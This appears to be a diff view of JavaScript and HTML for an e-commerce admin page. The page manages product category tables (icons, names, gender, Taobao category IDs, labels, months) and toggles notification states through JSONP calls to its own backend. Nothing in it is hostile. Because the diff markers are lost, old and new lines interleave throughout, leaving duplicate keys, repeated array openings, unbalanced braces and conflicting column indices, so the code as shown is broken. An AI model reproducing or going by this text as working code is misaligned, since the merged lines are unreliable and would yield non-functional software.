| | | success: function (res) |
| | | { |
| | | doui.hideLoading(); |
| | | if (res.code != 0) { doui.showToast({ content: res.msg }); } |
| | | else { vm_table.search(); } |
| | | } |
| | | }); |
| | | } |
| | | |
| | | } |
| | | }); |
| | | |
| | |
| | | $("#admin-header").find(".admin-btn-roundM").eq(0).after(
|
| | | "<div class='fboxRow Ycenter' id='versionControl'></div>");
|
| | | versionControl.init($("#versionControl"));
|
| | | }, 100); |
| | | }, 100);
|
| | | } |
| | | }); |
| | | });
|
| | | |
| | | |
| | | // 切换状态
|
| | | function switchState(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/notification/switchState",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { doui.showToast(res.msg); vm_table.search(); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | }
|
| | | |
| | | |
| | | // 切换状态
|
| | | function switchShutOff(id) {
|
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | });
|
| | | |
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/notification/switchShutOff",
|
| | | data: {id: id},
|
| | | success: function (res) |
| | | {
|
| | | layer.close(loading);
|
| | | if (res.code != 0) { vm_table.search(); doui.showToast(res.msg); }
|
| | | else { vm_table.search(); }
|
| | | }
|
| | | });
|
| | | }
|
| | | |
| | | |
| | | |
| | | </script> |
| | |
| | | <meta http-equiv="X-UA-Compatible" content="chrome=1" /> |
| | | <meta name="viewport" content="width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no" /> |
| | | <title>商品分类</title> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css" /> |
| | | <link rel="stylesheet" type="text/css" href="../../css/doui.min.css" />
|
| | | <link rel="stylesheet" type="text/css" href="../../layui/css/layui.css" />
|
| | | |
| | | <script src="../../js/doui.min.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script> |
| | | <script src="../../js/requestHost.js" type="text/javascript" charset="utf-8"></script>
|
| | | <script src="../../layui/layui.all.js" type="text/javascript" charset="utf-8"></script>
|
| | | |
| | | <script type="text/javascript"> |
| | | doui.importLoad({ |
| | | importArray: [ |
| | |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | show: true, |
| | | th: [{ |
| | | title: "启用状态", |
| | | width: "0.7rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [{ |
| | | key: 0, |
| | | value: "停用" |
| | | }, |
| | | { |
| | | key: 1, |
| | | value: "启用" |
| | | }, |
| | | ], |
| | | }, |
| | | }, |
| | | { |
| | | title: "ID", |
| | | width: "0.7rem", |
| | | orderUp: "", |
| | | orderDown: "" |
| | | }, |
| | | th: [ |
| | | { |
| | | title: "图标", |
| | | width: "", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | |
| | | }, |
| | | { |
| | | title: "新版图标", |
| | | width: "", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | |
| | | }, |
| | | { |
| | | title: "名称", |
| | | width: "", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | placeholder: "如:美食" |
| | | }, |
| | | },
|
| | | {
|
| | | title: "状态",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "switch",
|
| | | },
|
| | | }, |
| | | { |
| | | title: "搜索关键词", |
| | | width: "", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | type: "textarea", |
| | | placeholder: "如:美食 好吃 佳肴(多个用空格隔开)" |
| | | }, |
| | | }, |
| | | { |
| | | title: "淘宝分类ID", |
| | | width: "", |
| | | width: "0.6rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | type: "textarea", |
| | | placeholder: "如:衬衫-50011123,风衣-50011159(多个用逗号分隔)" |
| | | }, |
| | | }, |
| | | { |
| | | title: "搜索条件", |
| | | width: "", |
| | | width: "0.6rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | type: "textarea", |
| | | placeholder: "(可不填,系统自动填写)" |
| | | }, |
| | | }, |
| | | { |
| | | title: "点击量", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "" |
| | | }, |
| | | { |
| | | title: "入驻标签", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "" |
| | | }, |
| | | { |
| | | title: "分类标签", |
| | | width: "", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | |
| | | }, |
| | | { |
| | | title: "季节月份", |
| | | width: "", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | placeholder: "(可不填,月份间用逗号分隔)" |
| | | } |
| | | } |
| | | },
|
| | | {
|
| | | title: "点击量",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: ""
|
| | | },
|
| | | {
|
| | | title: "入驻标签",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: ""
|
| | | },
|
| | | {
|
| | | title: "ID",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: ""
|
| | | }, |
| | | ] |
| | | }); |
| | | } else { |
| | |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | show: true, |
| | | th: [{ |
| | | title: "启用状态", |
| | | width: "0.7rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [{ |
| | | key: 0, |
| | | value: "停用" |
| | | }, |
| | | { |
| | | key: 1, |
| | | value: "启用" |
| | | }, |
| | | ], |
| | | }, |
| | | }, |
| | | { |
| | | title: "ID", |
| | | width: "0.7rem", |
| | | orderUp: "", |
| | | orderDown: "" |
| | | }, |
| | | th: [ |
| | | { |
| | | title: "图标", |
| | | width: "", |
| | | width: "0.6rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | |
| | | }, |
| | | { |
| | | title: "名称", |
| | | width: "", |
| | | width: "0.6rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | placeholder: "如:美食" |
| | | }, |
| | | },
|
| | | {
|
| | | title: "状态",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "switch",
|
| | | },
|
| | | }, |
| | | { |
| | | title: "性别", |
| | | width: "", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | |
| | | }, |
| | | { |
| | | title: "搜索关键词", |
| | | width: "", |
| | | width: "0.6rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | type: "textarea", |
| | | placeholder: "如:美食 好吃 佳肴(多个用空格隔开)" |
| | | }, |
| | | }, |
| | | },
|
| | | { |
| | | title: "淘宝分类ID", |
| | | width: "", |
| | | width: "0.6rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | type: "textarea", |
| | | placeholder: "如:衬衫-50011123,风衣-50011159(多个用逗号分隔)" |
| | | }, |
| | | }, |
| | | { |
| | | title: "搜索条件", |
| | | width: "", |
| | | width: "0.6rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | type: "textarea", |
| | | placeholder: "(可不填,系统自动填写)" |
| | | }, |
| | | }, |
| | | { |
| | | title: "点击量", |
| | | width: "", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "" |
| | | },
|
| | | {
|
| | | title: "入驻标签",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: ""
|
| | | }, |
| | | { |
| | | title: "入驻标签", |
| | | width: "", |
| | | orderUp: "", |
| | | orderDown: "" |
| | | {
|
| | | title: "ID",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: ""
|
| | | }, |
| | | ] |
| | | }); |
| | |
| | | mydata["pid"] = vm_top.mulu.resultGet().parentID; // 父ID |
| | | } |
| | | // 发起请求 |
| | | doui.showLoading({ |
| | | content: "加载列表" |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: myurl, |
| | | data: mydata, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast({ |
| | | content: res.msg |
| | |
| | | if (mydata.type <= 1) { |
| | | thatTr = { |
| | | check: false, |
| | | td: [{ |
| | | td: [
|
| | | {
|
| | | title: "图标",
|
| | | key: mo[i].picture,
|
| | | value: mo[i].picture,
|
| | | dataType: "img"
|
| | | },
|
| | | {
|
| | | title: "名称",
|
| | | key: mo[i].name,
|
| | | value: mo[i].name
|
| | | },
|
| | | { |
| | | title: "启用状态", |
| | | key: mo[i].state, |
| | | value: mo[i].state |
| | | }, |
| | | { |
| | | title: "ID", |
| | | key: mo[i].id, |
| | | value: mo[i].id |
| | | }, |
| | | { |
| | | title: "图标", |
| | | key: mo[i].picture, |
| | | value: mo[i].picture, |
| | | dataType: "img" |
| | | }, |
| | | { |
| | | title: "名称", |
| | | key: mo[i].name, |
| | | value: mo[i].name |
| | | value: mo[i].state,
|
| | | dataType: 'btnSwitch', |
| | | click: "switchState(" + mo[i].id + ")" |
| | | }, |
| | | { |
| | | title: "性别", |
| | |
| | | { |
| | | title: "淘宝分类ID", |
| | | key: mo[i].taobaoCids ? mo[i].taobaoCids : "", |
| | | value: mo[i].taobaoCids ? mo[i].taobaoCids : "(缺省)" |
| | | value: mo[i].taobaoCids ? mo[i].taobaoCids : "",
|
| | | "class": "font-gray" |
| | | }, |
| | | { |
| | | title: "搜索条件", |
| | | key: mo[i].searchParam, |
| | | value: mo[i].searchParam |
| | | value: mo[i].searchParam,
|
| | | "class": "font-gray" |
| | | }, |
| | | { |
| | | title: "点击量", |
| | |
| | | title: "入驻标签", |
| | | key: mo[i].countlabel, |
| | | value: mo[i].countlabel + " 个" |
| | | },
|
| | | {
|
| | | title: "ID",
|
| | | key: mo[i].id,
|
| | | value: mo[i].id
|
| | | }, |
| | | ], |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == 1) { |
| | | thatTr.td[0].value = "已启用"; |
| | | thatTr.td[0]["class"] = "font-green"; |
| | | } else if (thatTr.td[0].key == 0) { |
| | | thatTr.td[0].value = "已停用"; |
| | | thatTr.td[0]["class"] = "font-red"; |
| | | } else { |
| | | thatTr.td[0].value = "(缺省)"; |
| | | thatTr.td[0]["class"] = "font-gray"; |
| | | } |
| | | |
| | | // 图片分析 |
| | | if (!thatTr.td[2].key || thatTr.td[2].key == "") { |
| | | thatTr.td[2].value = "未设置"; |
| | | thatTr.td[2]["class"] = "font-gray"; |
| | | thatTr.td[2]["dataType"] = ""; |
| | | } |
| | | if (thatTr.td[4].key == 0) { thatTr.td[4].value = "通用"; } |
| | | else if (thatTr.td[4].key == 1) { thatTr.td[4].value = "女"; } |
| | | else if (thatTr.td[4].key == 2) { thatTr.td[4].value = "男"; } |
| | | else if (thatTr.td[4].key == 120) { thatTr.td[4].value = "所有"; } |
| | | else if (thatTr.td[4].key == 12) { thatTr.td[4].value = "男+女"; } |
| | | else if (thatTr.td[4].key == 10) { thatTr.td[4].value = "通用+女"; } |
| | | else if (thatTr.td[4].key == 20) { thatTr.td[4].value = "通用+男"; } |
| | | if (!thatTr.td[0].key || thatTr.td[0].key == "") { |
| | | thatTr.td[0].value = "未设置"; |
| | | thatTr.td[0]["class"] = "font-gray"; |
| | | thatTr.td[0]["dataType"] = ""; |
| | | }
|
| | | |
| | | if (thatTr.td[3].key == 0) { thatTr.td[3].value = "通用"; } |
| | | else if (thatTr.td[3].key == 1) { thatTr.td[3].value = "女"; } |
| | | else if (thatTr.td[3].key == 2) { thatTr.td[3].value = "男"; } |
| | | else if (thatTr.td[3].key == 120) { thatTr.td[3].value = "所有"; } |
| | | else if (thatTr.td[3].key == 12) { thatTr.td[3].value = "男+女"; } |
| | | else if (thatTr.td[3].key == 10) { thatTr.td[3].value = "通用+女"; } |
| | | else if (thatTr.td[3].key == 20) { thatTr.td[3].value = "通用+男"; } |
| | | |
| | | // 搜索条件 |
| | | if (typeof(thatTr.td[7].key) == "object") { |
| | | thatTr.td[7].key = JSON.stringify(thatTr.td[7].key); |
| | | thatTr.td[7].value = JSON.stringify(thatTr.td[7].key); |
| | | if (typeof(thatTr.td[6].key) == "object") { |
| | | thatTr.td[6].key = JSON.stringify(thatTr.td[6].key); |
| | | thatTr.td[6].value = JSON.stringify(thatTr.td[6].key); |
| | | } |
| | | } |
| | | // 如果是2级以上 |
| | | else { |
| | | thatTr = { |
| | | check: false, |
| | | td: [{ |
| | | title: "启用状态", |
| | | td: [
|
| | | {
|
| | | title: "图标",
|
| | | key: mo[i].picture,
|
| | | value: mo[i].picture,
|
| | | dataType: "img"
|
| | | },
|
| | | {
|
| | | title: "新版图标",
|
| | | key: mo[i].pictureSecond,
|
| | | value: mo[i].pictureSecond,
|
| | | dataType: "img"
|
| | | },
|
| | | {
|
| | | title: "名称",
|
| | | key: mo[i].name,
|
| | | value: mo[i].name
|
| | | },
|
| | | { |
| | | title: "状态", |
| | | key: mo[i].state, |
| | | value: mo[i].state |
| | | }, |
| | | { |
| | | title: "ID", |
| | | key: mo[i].id, |
| | | value: mo[i].id |
| | | }, |
| | | { |
| | | title: "图标", |
| | | key: mo[i].picture, |
| | | value: mo[i].picture, |
| | | dataType: "img" |
| | | }, |
| | | { |
| | | title: "新版图标", |
| | | key: mo[i].pictureSecond, |
| | | value: mo[i].pictureSecond, |
| | | dataType: "img" |
| | | }, |
| | | { |
| | | title: "名称", |
| | | key: mo[i].name, |
| | | value: mo[i].name |
| | | value: mo[i].state,
|
| | | dataType: 'btnSwitch',
|
| | | click: "switchStateSub(" + mo[i].id + ")" |
| | | }, |
| | | { |
| | | title: "搜索关键词", |
| | |
| | | { |
| | | title: "淘宝分类ID", |
| | | key: mo[i].taobaoCids ? mo[i].taobaoCids : "", |
| | | value: mo[i].taobaoCids ? mo[i].taobaoCids : "(缺省)" |
| | | value: mo[i].taobaoCids ? mo[i].taobaoCids : "",
|
| | | "class": "font-gray" |
| | | }, |
| | | { |
| | | title: "搜索条件", |
| | | key: mo[i].searchParam, |
| | | value: mo[i].searchParam |
| | | }, |
| | | { |
| | | title: "点击量", |
| | | key: mo[i].countClick, |
| | | value: mo[i].countClick + " 次" |
| | | }, |
| | | { |
| | | title: "入驻标签", |
| | | key: mo[i].countlabel, |
| | | value: mo[i].countlabel + " 个" |
| | | value: mo[i].searchParam,
|
| | | "class": "font-gray" |
| | | }, |
| | | { |
| | | title: "分类标签", |
| | | key: mo[i].classLabel!=undefined? mo[i].classLabel.id:null, |
| | | value:mo[i].classLabel!=undefined? mo[i].classLabel.name: "(缺省)" |
| | | value:mo[i].classLabel!=undefined? mo[i].classLabel.name: "" |
| | | }, |
| | | { |
| | | title: "季节月份", |
| | | key: mo[i].month!=undefined? mo[i].month:null, |
| | | value:mo[i].month!=undefined? mo[i].month: "(缺省)" |
| | | } |
| | | value:mo[i].month!=undefined? mo[i].month: "" |
| | | },
|
| | | {
|
| | | title: "点击量",
|
| | | key: mo[i].countClick,
|
| | | value: mo[i].countClick + " 次"
|
| | | },
|
| | | {
|
| | | title: "入驻标签",
|
| | | key: mo[i].countlabel,
|
| | | value: mo[i].countlabel + " 个"
|
| | | },
|
| | | {
|
| | | title: "ID",
|
| | | key: mo[i].id,
|
| | | value: mo[i].id
|
| | | },
|
| | | |
| | | ], |
| | | }; |
| | | // 状态分析 |
| | | if (thatTr.td[0].key == 1) { |
| | | thatTr.td[0].value = "已启用"; |
| | | thatTr.td[0]["class"] = "font-green"; |
| | | } else if (thatTr.td[0].key == 0) { |
| | | thatTr.td[0].value = "已停用"; |
| | | thatTr.td[0]["class"] = "font-red"; |
| | | } else { |
| | | thatTr.td[0].value = "(缺省)"; |
| | | thatTr.td[0]["class"] = "font-gray"; |
| | | } |
| | | |
| | | // 图片分析 |
| | | if (!thatTr.td[2].key || thatTr.td[2].key == "") { |
| | | thatTr.td[2].value = "未设置"; |
| | | thatTr.td[2]["class"] = "font-gray"; |
| | | thatTr.td[2]["dataType"] = ""; |
| | | if (!thatTr.td[0].key || thatTr.td[0].key == "") { |
| | | thatTr.td[0].value = "未设置"; |
| | | thatTr.td[0]["class"] = "font-gray"; |
| | | thatTr.td[0]["dataType"] = ""; |
| | | } |
| | | // 新版图片分析 |
| | | if (!thatTr.td[3].key || thatTr.td[3].key == "") { |
| | | thatTr.td[3].value = "未设置"; |
| | | thatTr.td[3]["class"] = "font-gray"; |
| | | thatTr.td[3]["dataType"] = ""; |
| | | if (!thatTr.td[1].key || thatTr.td[1].key == "") { |
| | | thatTr.td[1].value = "未设置"; |
| | | thatTr.td[1]["class"] = "font-gray"; |
| | | thatTr.td[1]["dataType"] = ""; |
| | | } |
| | | // 搜索条件 |
| | | if (typeof(thatTr.td[7].key) == "object") { |
| | | thatTr.td[7].key = JSON.stringify(thatTr.td[7].key); |
| | | thatTr.td[7].value = JSON.stringify(thatTr.td[7].key); |
| | | if (typeof(thatTr.td[6].key) == "object") { |
| | | thatTr.td[6].key = JSON.stringify(thatTr.td[6].key); |
| | | thatTr.td[6].value = JSON.stringify(thatTr.td[6].key); |
| | | } |
| | | } |
| | | |
| | |
| | | // 表格头排 |
| | | adminDom.table.thead({ |
| | | show: true, |
| | | th: [{ |
| | | title: "启用状态", |
| | | width: "0.7rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "radio", |
| | | list: [{ |
| | | key: 0, |
| | | value: "停用" |
| | | }, |
| | | { |
| | | key: 1, |
| | | value: "启用" |
| | | }, |
| | | ], |
| | | }, |
| | | }, |
| | | { |
| | | title: "ID", |
| | | width: "0.7rem", |
| | | orderUp: "", |
| | | orderDown: "" |
| | | }, |
| | | th: [ |
| | | { |
| | | title: "图标", |
| | | width: "", |
| | | width: "0.6rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | |
| | | }, |
| | | { |
| | | title: "名称", |
| | | width: "", |
| | | width: "0.6rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | placeholder: "如:美食" |
| | | }, |
| | | },
|
| | | {
|
| | | title: "状态",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: "",
|
| | | edit: {
|
| | | type: "switch",
|
| | | },
|
| | | }, |
| | | { |
| | | title: "性别", |
| | | width: "", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | |
| | | }, |
| | | { |
| | | title: "搜索关键词", |
| | | width: "", |
| | | width: "0.6rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | type: "textarea", |
| | | placeholder: "如:美食 好吃 佳肴(多个用空格隔开)" |
| | | }, |
| | | }, |
| | | { |
| | | title: "淘宝分类ID", |
| | | width: "", |
| | | width: "0.6rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | type: "textarea", |
| | | placeholder: "如:衬衫-50011123,风衣-50011159(多个用逗号分隔)" |
| | | }, |
| | | }, |
| | | { |
| | | title: "搜索条件", |
| | | width: "", |
| | | width: "0.6rem", |
| | | orderUp: "", |
| | | orderDown: "", |
| | | edit: { |
| | | type: "text", |
| | | type: "textarea", |
| | | placeholder: "(可不填,系统自动填写)" |
| | | }, |
| | | }, |
| | | { |
| | | title: "点击量", |
| | | width: "", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "" |
| | | }, |
| | | { |
| | | title: "入驻标签", |
| | | width: "", |
| | | width: "0.4rem", |
| | | orderUp: "", |
| | | orderDown: "" |
| | | },
|
| | | {
|
| | | title: "ID",
|
| | | width: "0.4rem",
|
| | | orderUp: "",
|
| | | orderDown: ""
|
| | | }, |
| | | ] |
| | | }); |
| | | });
|
| | | |
| | | // 工具栏 |
| | | adminDom.table.tools({ |
| | | show: true, |
| | |
| | | }, |
| | | ], |
| | | touch: function(back) { |
| | | |
| | | |
| | | // 新建 |
| | | if (back.toolName == "add") { |
| | | if (back.toolName == "add") {
|
| | | if (vm_top.mulu.resultGet().level > 1) {
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/goodsSubClassLabel/labelList",
|
| | | data: {
|
| | | pageIndex: 1, // 页码
|
| | | pageSize: 100, // 每页数量
|
| | | classId: vm_top.mulu.resultGet().parentID
|
| | | },
|
| | | success: function(res) {
|
| | | var labelArray=new Array();
|
| | | for (var i = 0, mo = res.data.resultList; i < mo.length; i++) {
|
| | | labelArray.push({key:mo[i].id ,value:mo[i].name});
|
| | | }
|
| | | vm_table.thead.th[7].edit.list=labelArray;
|
| | | },
|
| | | });
|
| | | }
|
| | | |
| | | // 新建弹框创建 |
| | | adminDom.editTan.creat({ |
| | | el: ".winSizeBox", |
| | |
| | | if (vm_top.mulu.resultGet().level <= 1) { |
| | | myurl = gethttp() + "/admin/new/api/v1/goodsclass/save"; |
| | | mydata = { |
| | | state: item[0].key, // 状态 |
| | | name: item[3].key, // 名称 |
| | | sex: item[4].key,//性别 |
| | | key: item[5].key, // 搜索关键词 |
| | | taobaoCids: item[6].key, // 淘宝分类ID |
| | | searchParam: item[7].key, // 搜索条件 |
| | | name: item[1].key, // 名称 |
| | | state: item[2].key, // 状态 |
| | | sex: item[3].key,//性别 |
| | | key: item[4].key, // 搜索关键词 |
| | | taobaoCids: item[5].key, // 淘宝分类ID |
| | | searchParam: item[6].key, // 搜索条件 |
| | | }; |
| | | // 如果修改了图片 |
| | | if (item[2].change == true) { |
| | | mydata.file = item[2].key; |
| | | if (item[0].change == true) { |
| | | mydata.file = item[0].key; |
| | | } |
| | | } |
| | | // 其它 |
| | | else { |
| | | myurl = gethttp() + "/admin/new/api/v1/goodsSubClass/save"; |
| | | mydata = { |
| | | state: item[0].key, // 状态 |
| | | name: item[4].key, // 名称 |
| | | key: item[5].key, // 搜索关键词 |
| | | taobaoCids: item[6].key, //淘宝分类ID |
| | | searchParam: item[7].key, // 搜索条件 |
| | | pid: vm_top.mulu.resultGet().parentID, // 父ID |
| | | mydata = {
|
| | | pid: vm_top.mulu.resultGet().parentID, // 父ID
|
| | | type: vm_top.mulu.resultGet().level, // 当前级别 |
| | | month:item[11].key |
| | | name: item[2].key, // 名称 |
| | | state: item[3].key, // 状态 |
| | | key: item[4].key, // 搜索关键词 |
| | | taobaoCids: item[5].key, //淘宝分类ID |
| | | searchParam: item[6].key, // 搜索条件
|
| | | labelId:item[7].key, |
| | | month:item[8].key |
| | | }; |
| | | // 如果修改了图片 |
| | | if (item[2].change == true) { |
| | | mydata.file = item[2].key; |
| | | if (item[0].change == true) { |
| | | mydata.file = item[0].key; |
| | | } |
| | | // 如果修改了新版图片 |
| | | if (item[3].change == true) { |
| | | mydata.file2 = item[3].key; |
| | | if (item[1].change == true) { |
| | | mydata.file2 = item[1].key; |
| | | } |
| | | } |
| | | |
| | | // 信息上传 |
| | | doui.showLoading("正在新建"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.upload({ |
| | | url: myurl, |
| | | data: mydata, |
| | | fail: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | doui.showToast(res.msg); |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
| | | } else { |
| | |
| | | } |
| | | |
| | | // 删除 |
| | | if (back.toolName == "del") { |
| | | if (back.toolName == "del") {
|
| | | var index = 9;
|
| | | var myurl = gethttp() + "/admin/new/api/v1/goodsclass/deleteBatch";
|
| | | if (vm_top.mulu.resultGet().level > 1) {
|
| | | index = 11;
|
| | | myurl = gethttp() + "/admin/new/api/v1/goodsSubClass/deleteBatch";
|
| | | }
|
| | | |
| | | // 获取选择的id组 |
| | | var zu_id = new Array(); |
| | | for (var i = 0, mo = back.list; i < mo.length; i++) { |
| | | zu_id.push(mo[i][1].key); |
| | | zu_id.push(mo[i][index].key); |
| | | } |
| | | // 请求地址 |
| | | var myurl = gethttp() + "/admin/new/api/v1/goodsclass/deleteBatch"; |
| | | if (vm_top.mulu.resultGet().level > 1) { |
| | | myurl = gethttp() + "/admin/new/api/v1/goodsSubClass/deleteBatch"; |
| | | } |
| | | // 发起请求 |
| | | doui.showLoading({ |
| | | content: "正在删除" |
| | | |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.request({ |
| | | type: "jsonp", |
| | |
| | | ids: zu_id |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast({ |
| | | content: res.msg |
| | |
| | | }); |
| | | return false; |
| | | } |
| | | |
| | | if (vm_top.mulu.resultGet().level > 1) {
|
| | | doui.request({
|
| | | type: "jsonp",
|
| | | url: gethttp() + "/admin/new/api/v1/goodsSubClassLabel/labelList",
|
| | | data: {
|
| | | pageIndex: 1, // 页码
|
| | | pageSize: 100, // 每页数量
|
| | | classId: vm_top.mulu.resultGet().parentID
|
| | | },
|
| | | success: function(res) {
|
| | | var labelArray=new Array();
|
| | | for (var i = 0, mo = res.data.resultList; i < mo.length; i++) {
|
| | | labelArray.push({key:mo[i].id ,value:mo[i].name});
|
| | | }
|
| | | vm_table.thead.th[7].edit.list=labelArray;
|
| | | },
|
| | | });
|
| | | }
|
| | | |
| | | |
| | | //加载分类下面的标签 |
| | | doui.showLoading("正在获取标签"); |
| | | doui.request({ |
| | | type: "jsonp", |
| | | url: gethttp() + "/admin/new/api/v1/goodsSubClassLabel/labelList", |
| | | data: { |
| | | pageIndex: 1, // 页码 |
| | | pageSize: 100, // 每页数量 |
| | | classId: vm_top.mulu.resultGet().parentID |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | var labelArray=new Array(); |
| | | for (var i = 0, mo = res.data.resultList; i < mo.length; i++) { |
| | | labelArray.push({key:mo[i].id ,value:mo[i].name}); |
| | | vm_table.thead.th[10].edit.list=labelArray; |
| | | } |
| | | // |
| | | |
| | | }}); |
| | | |
| | | // 修改弹框创建 |
| | | adminDom.editTan.creat({ |
| | | el: ".winSizeBox", |
| | |
| | | // 一级 |
| | | if (vm_top.mulu.resultGet().level <= 1) { |
| | | myurl = gethttp() + "/admin/new/api/v1/goodsclass/save"; |
| | | mydata = { |
| | | state: item[0].key, // 状态 |
| | | id: item[1].key, // ID |
| | | name: item[3].key, // 名称 |
| | | sex:item[4].key,//性别 |
| | | key: item[5].key, // 搜索关键词 |
| | | taobaoCids: item[6].key, // 淘宝分类ID |
| | | labelId:1, |
| | | searchParam: item[7].key, // 搜索条件 |
| | | mydata = {
|
| | | name: item[1].key, // 名称
|
| | | state: item[2].key, // 状态
|
| | | sex: item[3].key,//性别
|
| | | key: item[4].key, // 搜索关键词
|
| | | taobaoCids: item[5].key, // 淘宝分类ID
|
| | | searchParam: item[6].key, // 搜索条件
|
| | | id: item[9].key, // ID
|
| | | labelId:1,
|
| | | }; |
| | | // 如果修改了图片 |
| | | if (item[2].change == true) { |
| | | mydata.file = item[2].key; |
| | | if (item[0].change == true) { |
| | | mydata.file = item[0].key; |
| | | } |
| | | } |
| | | // 其它 |
| | | else { |
| | | myurl = gethttp() + "/admin/new/api/v1/goodsSubClass/save"; |
| | | mydata = { |
| | | state: item[0].key, // 状态 |
| | | id: item[1].key, // ID |
| | | name: item[4].key, // 名称 |
| | | key: item[5].key, // 搜索关键词 |
| | | taobaoCids: item[6].key, |
| | | searchParam: item[7].key, // 搜索条件 |
| | | pid: vm_top.mulu.resultGet().parentID, // 父ID |
| | | type: vm_top.mulu.resultGet().level, // 当前级别 |
| | | labelId:item[10].key, |
| | | month:item[11].key |
| | | id: item[11].key, // ID |
| | | name: item[2].key, // 名称
|
| | | state: item[3].key, // 状态
|
| | | key: item[4].key, // 搜索关键词
|
| | | taobaoCids: item[5].key, //淘宝分类ID
|
| | | searchParam: item[6].key, // 搜索条件
|
| | | labelId:item[7].key,
|
| | | month:item[8].key, |
| | | }; |
| | | // 如果修改了图片 |
| | | if (item[2].change == true) { |
| | | mydata.file = item[2].key; |
| | | if (item[0].change == true) { |
| | | mydata.file = item[0].key; |
| | | } |
| | | // 如果修改了新版图片 |
| | | if (item[3].change == true) { |
| | | mydata.file2 = item[3].key; |
| | | if (item[0].change == true) { |
| | | mydata.file2 = item[0].key; |
| | | } |
| | | } |
| | | |
| | | // 信息上传 |
| | | doui.showLoading("正在修改"); |
| | | var loading = layer.load(0, {
|
| | | shade: false
|
| | | }); |
| | | doui.upload({ |
| | | url: myurl, |
| | | data: mydata, |
| | | fail: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | doui.showToast(res.msg); |
| | | }, |
| | | success: function(res) { |
| | | doui.hideLoading(); |
| | | layer.close(loading); |
| | | if (res.code != 0) { |
| | | doui.showToast(res.msg); |
